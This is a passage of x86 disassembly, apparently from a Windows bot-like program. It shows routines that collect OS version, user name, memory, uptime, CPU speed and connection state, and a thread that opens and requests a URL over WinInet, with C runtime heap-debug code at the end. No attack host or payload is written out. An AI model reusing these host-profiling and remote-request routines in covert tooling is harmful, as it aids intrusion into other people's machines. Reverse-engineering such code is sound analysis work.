mov ecx, edi
jmp short loc_41B709
; ---------------------------------------------------------------------------
loc_41B707: ; CODE XREF: sub_41B592+164j
mov ecx, eax
loc_41B709: ; CODE XREF: sub_41B592+16Fj
; sub_41B592+173j
xor eax, eax
test ebx, ebx
jz short loc_41B716
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41B719
; ---------------------------------------------------------------------------
loc_41B716: ; CODE XREF: sub_41B592+17Bj
push 2
pop edi
loc_41B719: ; CODE XREF: sub_41B592+182j
test esi, esi
jz short loc_41B721
add eax, esi
jmp short loc_41B722
; ---------------------------------------------------------------------------
loc_41B721: ; CODE XREF: sub_41B592+189j
dec edi
loc_41B722: ; CODE XREF: sub_41B592+18Dj
test ecx, ecx
jz short loc_41B72A
add eax, ecx
jmp short loc_41B72B
; ---------------------------------------------------------------------------
loc_41B72A: ; CODE XREF: sub_41B592+192j
dec edi
loc_41B72B: ; CODE XREF: sub_41B592+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+Dest]
push offset asc_451608 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41B592 endp
; =============== S U B R O U T I N E =======================================
sub_41B76F proc near ; CODE XREF: sub_401CC7+2591p
; sub_401CC7+2A01p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_4F537C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset byte_4F34B8
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B76F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B7D8 proc near ; CODE XREF: sub_417A8B+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call ds:dword_4F539C ; GetVersionExA
test eax, eax
jz short loc_41B86B
cmp [ebp+var_90], 4
jnz short loc_41B841
cmp [ebp+var_8C], esi
jnz short loc_41B829
cmp [ebp+var_84], 1
jnz short loc_41B81C
push 1
pop esi
loc_41B81C: ; CODE XREF: sub_41B7D8+3Fj
cmp [ebp+var_84], 2
jnz short loc_41B86B
push 1
jmp short loc_41B86A
; ---------------------------------------------------------------------------
loc_41B829: ; CODE XREF: sub_41B7D8+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41B836
loc_41B832: ; CODE XREF: sub_41B7D8+78j
push 2
jmp short loc_41B86A
; ---------------------------------------------------------------------------
loc_41B836: ; CODE XREF: sub_41B7D8+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41B86B
jmp short loc_41B85B
; ---------------------------------------------------------------------------
loc_41B841: ; CODE XREF: sub_41B7D8+2Ej
cmp [ebp+var_90], 5
jnz short loc_41B86B
cmp [ebp+var_8C], esi
jz short loc_41B832
cmp [ebp+var_8C], 1
jnz short loc_41B85F
loc_41B85B: ; CODE XREF: sub_41B7D8+67j
push 3
jmp short loc_41B86A
; ---------------------------------------------------------------------------
loc_41B85F: ; CODE XREF: sub_41B7D8+81j
cmp [ebp+var_8C], 2
jnz short loc_41B86B
push 7
loc_41B86A: ; CODE XREF: sub_41B7D8+4Fj
; sub_41B7D8+5Cj ...
pop esi
loc_41B86B: ; CODE XREF: sub_41B7D8+25j
; sub_41B7D8+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41B7D8 endp
; =============== S U B R O U T I N E =======================================
sub_41B870 proc near ; CODE XREF: sub_41B92C+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41B878: ; CODE XREF: sub_41B870+35j
; sub_41B870+3Bj
call sub_41BCA2
push 3E8h
mov edi, eax
mov ebx, edx
call ds:dword_4F534C ; Sleep
call sub_41BCA2
sub eax, edi
push 0
sbb edx, ebx
push esi
push edx
push eax
call __aulldiv
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41B878
jb short loc_41B8AD
cmp ebx, esi
ja short loc_41B878
loc_41B8AD: ; CODE XREF: sub_41B870+37j
push 0
push 64h
push edi
push ebx
call __aullrem
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41B920
jb short loc_41B8CC
cmp esi, 50h
jnb short loc_41B8D1
loc_41B8CC: ; CODE XREF: sub_41B870+55j
push 4Bh
xor edx, edx
pop eax
loc_41B8D1: ; CODE XREF: sub_41B870+5Aj
test ecx, ecx
ja short loc_41B920
jb short loc_41B8DC
cmp esi, 47h
jnb short loc_41B8E1
loc_41B8DC: ; CODE XREF: sub_41B870+65j
push 42h
xor edx, edx
pop eax
loc_41B8E1: ; CODE XREF: sub_41B870+6Aj
test ecx, ecx
ja short loc_41B920
jb short loc_41B8EC
cmp esi, 37h
jnb short loc_41B8F1
loc_41B8EC: ; CODE XREF: sub_41B870+75j
push 32h
xor edx, edx
pop eax
loc_41B8F1: ; CODE XREF: sub_41B870+7Aj
test ecx, ecx
ja short loc_41B920
jb short loc_41B8FC
cmp esi, 26h
jnb short loc_41B901
loc_41B8FC: ; CODE XREF: sub_41B870+85j
push 21h
xor edx, edx
pop eax
loc_41B901: ; CODE XREF: sub_41B870+8Aj
test ecx, ecx
ja short loc_41B920
jb short loc_41B90C
cmp esi, 1Eh
jnb short loc_41B911
loc_41B90C: ; CODE XREF: sub_41B870+95j
push 19h
xor edx, edx
pop eax
loc_41B911: ; CODE XREF: sub_41B870+9Aj
test ecx, ecx
ja short loc_41B920
jb short loc_41B91C
cmp esi, 0Ah
jnb short loc_41B920
loc_41B91C: ; CODE XREF: sub_41B870+A5j
xor eax, eax
xor edx, edx
loc_41B920: ; CODE XREF: sub_41B870+53j
; sub_41B870+63j ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41B870 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B92C proc near ; CODE XREF: sub_401CC7+275Fp
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
FullPath = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
Dest = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
Dst = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
Drive = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_4F34F0
mov [ebp+var_CC], 94h
call ds:dword_4F539C ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B9B3
cmp [ebp+var_C4], ebx
jnz short loc_41B98F
cmp [ebp+var_BC], 1
jnz short loc_41B979
mov [ebp+var_4], offset a95_0 ; "95"
loc_41B979: ; CODE XREF: sub_41B92C+44j
cmp [ebp+var_BC], 2
jnz loc_41BA2E
mov [ebp+var_4], offset aNt_0 ; "NT"
jmp short loc_41B9FF
; ---------------------------------------------------------------------------
loc_41B98F: ; CODE XREF: sub_41B92C+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B9A1
mov [ebp+var_4], offset a98_0 ; "98"
jmp short loc_41B9F6
; ---------------------------------------------------------------------------
loc_41B9A1: ; CODE XREF: sub_41B92C+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B9EF
mov [ebp+var_4], offset aMe_1 ; "ME"
jmp short loc_41B9F6
; ---------------------------------------------------------------------------
loc_41B9B3: ; CODE XREF: sub_41B92C+33j
cmp [ebp+var_C8], 5
jnz short loc_41B9EF
cmp [ebp+var_C4], ebx
jnz short loc_41B9CD
mov [ebp+var_4], offset a2k_0 ; "2K"
jmp short loc_41B9F6
; ---------------------------------------------------------------------------
loc_41B9CD: ; CODE XREF: sub_41B92C+96j
cmp [ebp+var_C4], 1
jnz short loc_41B9DF
mov [ebp+var_4], offset aXp_0 ; "XP"
jmp short loc_41B9F6
; ---------------------------------------------------------------------------
loc_41B9DF: ; CODE XREF: sub_41B92C+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B9F6
loc_41B9EF: ; CODE XREF: sub_41B92C+7Cj
; sub_41B92C+8Ej
mov [ebp+var_4], offset a???_0 ; "???"
loc_41B9F6: ; CODE XREF: sub_41B92C+73j
; sub_41B92C+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41BA2E
loc_41B9FF: ; CODE XREF: sub_41B92C+61j
cmp [ebp+var_B8], bl
jz short loc_41BA2E
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+Dest]
push [ebp+var_4]
push offset aSS_12 ; "%s (%s)"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
add esp, 10h
mov [ebp+var_4], eax
loc_41BA2E: ; CODE XREF: sub_41B92C+54j
; sub_41B92C+D1j ...
mov ax, word_4516A0
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4E2FD8
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41BA67
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41BA67: ; CODE XREF: sub_41B92C+12Cj
push [ebp+arg_4]
call sub_40AF71
pop ecx
push eax
call dword_4E3138 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4E30B0 ; gethostbyaddr
cmp eax, ebx
jz short loc_41BA90
push dword ptr [eax]
jmp short loc_41BA95
; ---------------------------------------------------------------------------
loc_41BA90: ; CODE XREF: sub_41B92C+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41BA95: ; CODE XREF: sub_41B92C+162j
lea eax, [ebp+var_3E4]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+FullPath]
pop ecx
push 104h
push eax
call ds:dword_4F5348 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call ds:dword_4F53D8 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs_0 ; "HH:mm:ss"
push ebx
push ebx
push esi
call ds:dword_4F53D4 ; GetTimeFormatA
push 20h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
call ds:dword_4F5468 ; GlobalMemoryStatus
push ebx ; Ext
push ebx ; Filename
lea eax, [ebp+Drive]
push ebx ; Dir
push eax ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call __splitpath
lea eax, [ebp+Drive]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_41759B
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41B76F
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AF71
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+FullPath]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_41748B
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_41748B
pop ecx
pop ecx
push eax
call sub_41B870
push edx
push eax
push offset asc_4516D4 ; "-"
push 200h ; Count
push [ebp+arg_0] ; Dest
call __snprintf
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41B92C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBE0 proc near ; CODE XREF: sub_401CC7+278Dp
; sub_401CC7+739Ep
Dst = byte ptr -8Ch
var_C = byte ptr -0Ch
Dest = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp dword_4E31E0, 0
jnz short loc_41BC4C
push 0
lea eax, [ebp+Dst]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4E2FBC ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41BC35
lea eax, [ebp+Dst]
push offset aNotConnected ; "Not connected"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41BC35: ; CODE XREF: sub_41BBE0+40j
test [ebp+var_C], 1
jz short loc_41BC42
push offset aDialUp ; "Dial-up"
jmp short loc_41BC47
; ---------------------------------------------------------------------------
loc_41BC42: ; CODE XREF: sub_41BBE0+59j
push offset off_4517C8
loc_41BC47: ; CODE XREF: sub_41BBE0+60j
lea eax, [ebp+Dest]
jmp short loc_41BC67
; ---------------------------------------------------------------------------
loc_41BC4C: ; CODE XREF: sub_41BBE0+28j
lea eax, [ebp+Dest]
push offset aNA ; "N/A"
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+Dst]
pop ecx
push offset aNA_0 ; "N/A"
loc_41BC67: ; CODE XREF: sub_41BBE0+6Aj
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AF71
pop ecx
push eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Dest]
push eax
push offset asc_4517D4 ; "-"
push 200h ; Count
push [ebp+arg_0] ; Dest
call __snprintf
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41BBE0 endp
; =============== S U B R O U T I N E =======================================
sub_41BCA2 proc near ; CODE XREF: sub_41B870:loc_41B878p
; sub_41B870+1Cp
rdtsc
retn
sub_41BCA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BCA5 proc near ; DATA XREF: sub_401CC7+77BDo
var_65C = byte ptr -65Ch
var_55C = dword ptr -55Ch
var_35C = dword ptr -35Ch
Str = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
Dest = byte ptr -1C8h
Dst = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
Source = dword ptr -38h
Count = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_451818
call _memset
push edi ; Size
lea eax, [ebp+Dest]
push ebx ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+var_C8]
push ebx ; Val
push eax ; Dst
call _memset
push 100h ; Size
lea eax, [ebp+var_65C]
push ebx ; Val
push eax ; Dst
call _memset
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+Count], esi
push eax
lea eax, [ebp+Str]
push ebx
push eax ; Str
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
call dword_4E2FF4 ; InternetCrackUrlA
test eax, eax
jz loc_41BE3F
cmp [ebp+Count], ebx
jbe short loc_41BD7C
push [ebp+Count] ; Count
lea eax, [ebp+Dst]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41BD7C: ; CODE XREF: sub_41BCA5+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41BD9A
push [ebp+var_28] ; Count
lea eax, [ebp+Dest]
push [ebp+var_2C] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41BD9A: ; CODE XREF: sub_41BCA5+DEj
cmp [ebp+var_20], ebx
jbe short loc_41BDB4
push [ebp+var_20] ; Count
lea eax, [ebp+var_C8]
push [ebp+var_24] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41BDB4: ; CODE XREF: sub_41BCA5+F8j
cmp [ebp+var_18], ebx
jbe short loc_41BDCE
push [ebp+var_18] ; Count
lea eax, [ebp+var_65C]
push [ebp+var_1C] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41BDCE: ; CODE XREF: sub_41BCA5+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push esi
push eax
push dword_4E30A8
call dword_4E30CC ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41BE57
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4E30C0 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41BE5E
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4E306C ; HttpSendRequestA
test eax, eax
jz short loc_41BE38
push offset dword_451894
jmp short loc_41BE63
; ---------------------------------------------------------------------------
loc_41BE38: ; CODE XREF: sub_41BCA5+18Aj
push offset unk_4518B0
jmp short loc_41BE63
; ---------------------------------------------------------------------------
loc_41BE3F: ; CODE XREF: sub_41BCA5+B7j
lea eax, [ebp+var_55C]
push offset asc_45181C ; "-"
push eax ; Dest
call _sprintf
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41BE71
; ---------------------------------------------------------------------------
loc_41BE57: ; CODE XREF: sub_41BCA5+153j
push offset unk_451838
jmp short loc_41BE63
; ---------------------------------------------------------------------------
loc_41BE5E: ; CODE XREF: sub_41BCA5+17Bj
push offset asc_451864 ; "-"
loc_41BE63: ; CODE XREF: sub_41BCA5+191j
; sub_41BCA5+198j ...
lea eax, [ebp+var_55C]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41BE71: ; CODE XREF: sub_41BCA5+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41BE9C
push ebx ; int
lea eax, [ebp+var_55C]
push [ebp+var_1D0] ; int
push eax ; int
lea eax, [ebp+var_258]
push eax ; Str
push [ebp+var_35C] ; int
call sub_409D34
add esp, 14h
loc_41BE9C: ; CODE XREF: sub_41BCA5+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_415C3F
pop ecx
push esi
call dword_4E312C ; InternetCloseHandle
push [ebp+var_4]
call dword_4E312C ; InternetCloseHandle
push [ebp+var_1D8]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
int 3 ; Trap to Debugger
sub_41BCA5 endp ; sp-analysis failed
; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000082 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BE BYTES: COLLAPSED FUNCTION __fclose_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000026 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002C BYTES: COLLAPSED FUNCTION __malloc_dbg. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001B BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000005D BYTES: COLLAPSED FUNCTION __nh_malloc_dbg. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41C17D. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000038 BYTES: COLLAPSED CHUNK OF FUNCTION __nh_malloc_dbg. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000313 BYTES: COLLAPSED FUNCTION __heap_alloc_dbg. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000024 BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000060 BYTES: COLLAPSED FUNCTION __calloc_dbg. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000063 BYTES: COLLAPSED FUNCTION __realloc_dbg. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41C623. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __realloc_dbg. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000511 BYTES: COLLAPSED FUNCTION _realloc_help. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000024 BYTES: COLLAPSED FUNCTION __expand. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000063 BYTES: COLLAPSED FUNCTION __expand_dbg. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41CC03. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __expand_dbg. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000013 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_41CCE0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000052 BYTES: COLLAPSED FUNCTION __free_dbg. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41CCC2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __free_dbg. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCE0 proc near ; CODE XREF: .text:0041CC59p
; __free_dbg+3Cp
Dst = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, dword_4518F0
and eax, 4
test eax, eax
jz short loc_41CD23
loc_41CCF3: ; CODE XREF: sub_41CCE0+41j
call sub_41D430
test eax, eax
jnz short loc_41CD1D
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0 ; int
push 402h ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41CD1D
int 3 ; Trap to Debugger
loc_41CD1D: ; CODE XREF: sub_41CCE0+1Aj
; sub_41CCE0+3Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_41CCF3
loc_41CD23: ; CODE XREF: sub_41CCE0+11j
cmp [ebp+arg_0], 0
jnz short loc_41CD2E
jmp loc_41D0C5
; ---------------------------------------------------------------------------
loc_41CD2E: ; CODE XREF: sub_41CCE0+47j
push 0
push 0
push 0
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, [ebp+arg_0]
push eax
push 3
call off_451CC0 ; Microsoft VisualC 2-8/net runtime
add esp, 1Ch
test eax, eax
jnz short loc_41CD78
loc_41CD4D: ; CODE XREF: sub_41CCE0+91j
push offset aClientHookFree ; "Client hook free failure.\n"
push offset aS_32 ; "%s"
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 18h
cmp eax, 1
jnz short loc_41CD6D
int 3 ; Trap to Debugger
loc_41CD6D: ; CODE XREF: sub_41CCE0+8Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_41CD4D
jmp loc_41D0C5
; ---------------------------------------------------------------------------
loc_41CD78: ; CODE XREF: sub_41CCE0+6Bj
; sub_41CCE0+CDj
mov edx, [ebp+arg_0]
push edx
call sub_41D910
add esp, 4
test eax, eax
jnz short loc_41CDA9
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0 ; int
push 414h ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41CDA9
int 3 ; Trap to Debugger
loc_41CDA9: ; CODE XREF: sub_41CCE0+A6j
; sub_41CCE0+C6j
xor eax, eax
test eax, eax
jnz short loc_41CD78
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+Dst], ecx
loc_41CDB8: ; CODE XREF: sub_41CCE0+12Fj
mov edx, [ebp+Dst]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41CE0B
mov ecx, [ebp+Dst]
cmp dword ptr [ecx+14h], 1
jz short loc_41CE0B
mov edx, [ebp+Dst]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41CE0B
mov ecx, [ebp+Dst]
cmp dword ptr [ecx+14h], 3
jz short loc_41CE0B
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0 ; int
push 41Ah ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41CE0B
int 3 ; Trap to Debugger
loc_41CE0B: ; CODE XREF: sub_41CCE0+E6j
; sub_41CCE0+EFj ...
xor edx, edx
test edx, edx
jnz short loc_41CDB8
mov eax, dword_4518F0
and eax, 4
test eax, eax
jnz loc_41CEE6
push 4
mov cl, byte_4518FC
push ecx
mov edx, [ebp+Dst]
add edx, 1Ch
push edx
call _CheckBytes
add esp, 0Ch
test eax, eax
jnz short loc_41CE80
loc_41CE3D: ; CODE XREF: sub_41CCE0+19Ej
mov eax, [ebp+Dst]
add eax, 20h
push eax
mov ecx, [ebp+Dst]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+Dst]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_451900[ecx*4]
push edx ; char
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0 ; int
push 0 ; Value
push 0 ; int
push 1 ; int
call __CrtDbgReport
add esp, 20h
cmp eax, 1
jnz short loc_41CE7A
int 3 ; Trap to Debugger
loc_41CE7A: ; CODE XREF: sub_41CCE0+197j
xor eax, eax
test eax, eax
jnz short loc_41CE3D
loc_41CE80: ; CODE XREF: sub_41CCE0+15Bj
push 4
mov cl, byte_4518FC
push ecx
mov edx, [ebp+Dst]
mov eax, [edx+10h]
mov ecx, [ebp+Dst]
lea edx, [ecx+eax+20h]
push edx
call _CheckBytes
add esp, 0Ch
test eax, eax
jnz short loc_41CEE6
loc_41CEA3: ; CODE XREF: sub_41CCE0+204j
mov eax, [ebp+Dst]
add eax, 20h
push eax
mov ecx, [ebp+Dst]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+Dst]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_451900[ecx*4]
push edx ; char
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0 ; int
push 0 ; Value
push 0 ; int
push 1 ; int
call __CrtDbgReport
add esp, 20h
cmp eax, 1
jnz short loc_41CEE0
int 3 ; Trap to Debugger
loc_41CEE0: ; CODE XREF: sub_41CCE0+1FDj
xor eax, eax
test eax, eax
jnz short loc_41CEA3
loc_41CEE6: ; CODE XREF: sub_41CCE0+13Bj
